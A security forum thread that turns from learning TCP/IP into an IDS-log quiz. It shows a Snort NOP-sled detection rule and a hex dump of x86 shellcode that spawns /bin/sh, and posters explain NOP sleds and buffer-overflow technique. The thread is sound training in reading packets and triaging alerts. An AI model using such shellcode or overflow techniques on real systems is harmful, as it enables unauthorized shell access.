I think the problem with the internet forums is semantics. Sometimes people read things differently than what a poster might mean.  I know I am guilty of doing that.  I agree with your comment pseud0 about both are valid as long as some place TCP/IP is fully understood. I made a post a year ago recommending someone learn TCP/IP as a foundation. But not just memorize it, but actually try and visualize it in their head. Infact, why not learn both tools and TCP/IP at the same time if you are lacking in that understanding. Even Emanon seemed to state that if you want to get good you need it.  To be honest I didnt understand what you meant by "taste great, less filling" but that is I am sure that is due to my dense head.  One thing I have learned is saying things like that can be open to all kinds of interpretations in a "heated" thread.

So moral of thread was learning everything is important its all needed but reading books on tcp/ip is so boring.

the "tastes great, less filling" was the old Miller Lite advertisement...
http://video.google.com/videoplay?docid=-6857860323414691675&q=tastes+great+less+filling&total=21&start=0&num=10&so=0&type=search&plindex=3

Actually I found the commercial a little more intriguing than this thread, LOL. Hey I am guy give me a break!   I am not familiar with that book Blackazarro, sounds good and I will check it out.  Maybe we should stop this thread so it doesnt take away from Blackazarro's 4 page record, lol!  4 pages is a record right?

heh, seems the thread is not dead but perhaps it should be. Good point on knowing TCP/IP for socket programming, etc...blackazarro.

Anyway, glad to see the thread sparked some interest. But the thread did also start to get into the differences between hacking and pentesting. I don't see the point in posting about that now but seeing as how the importance of tcp/ip & knowing how to read packets, etc... came up again, here is a little quiz. It's pretty simple if you can read hex.

From a pentesters perspective knowing what the payload of an exploit looks like and why the IDS alerts on it is important as this can help when trying to bypass IDSes, etc...

I just pulled this out my IDS logs: The destination IP is my Windows 2003 IIS server.

alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS
  (msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90
  90 90 90 90 90 90 90 90|"; depth: 128;
  reference:arachnids,181; classtype:shellcode-detect;
  sid:648; rev:5;)

it contained the following payload:

--snip--
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73
--snip--

What does the hex 0x90 represent?

What is the purpose of the 0x90 in the content?

Based on the information available would you classify this alert as an event to log and ignore or something to be concerned about and to dig into further?

dean

0x90s are NOOPs on x86 systems.  Basically you use them to move your point of reference in a selected area of memory to a place of your choosing, then you dump in the selected payload (the rest of the code that isn't 0x90).  This is a normal approach for buffer overflows.

The above hex encoded string is the normal "shellcode" to get a shell. Initial part is filled with "nops" so even if the eip falls anywhere near should reach at the shellcode.
The behaviour of this "sc" is to first set a group id "setgid", then to set session id "setsid". Towards the end it tries to call the "execve" to execute /bin/sh..

Anyway tis was the postmortem report of the small snippet you posted. The last hex byte was missing which should be "68"

This is not a good shellcode..It needs some minor tweakings for successful exploitation and it is not affected to a windows machine [because it is a linux shellcode]

Had some fun in reverse engineering that stuff!!!

Nice, nicky.coder. That is pretty much it.

The exploit would actually work though. It was an old openSSH exploit. I only copied the part that was valid to the questions. Nice catch on the /bin/sh as well. That is the telling part as to whether to treat this as an event or incident.

Just to add a few definitions to nicky.coder's response.

1. EIP – INSTRUCTION POINTER REGISTER – controls program execution by pointing to the address of next instruction to be executed. The Instruction is executed and  the instruction pointer is incremented. When a jump is encountered, the instruction pointer’s value is altered to point to a new location in memory.

2. NOOP. A "NOP" or "NOOP" sled is, as inferred, a lot of NO Operations. The reason for the sled is that an attacker does not know the memory location where the executable code is and it is difficult to guess the location of the shellcode (your exploit payload) in memory and so it is difficult to set the return pointer.
An easier and more reliable method is to create a NOOP Sled.
Include NOOPs in advance of the executable code and if the pointer goes into NOOP Sled nothing will happen and execution will continue down the stack until executable instructions are reached.

dean


Kev, as for keeping it for people learning or starting out, don't you think they'll learn just as much from see other people posting? Honestly, I expected more than one person to answer it too.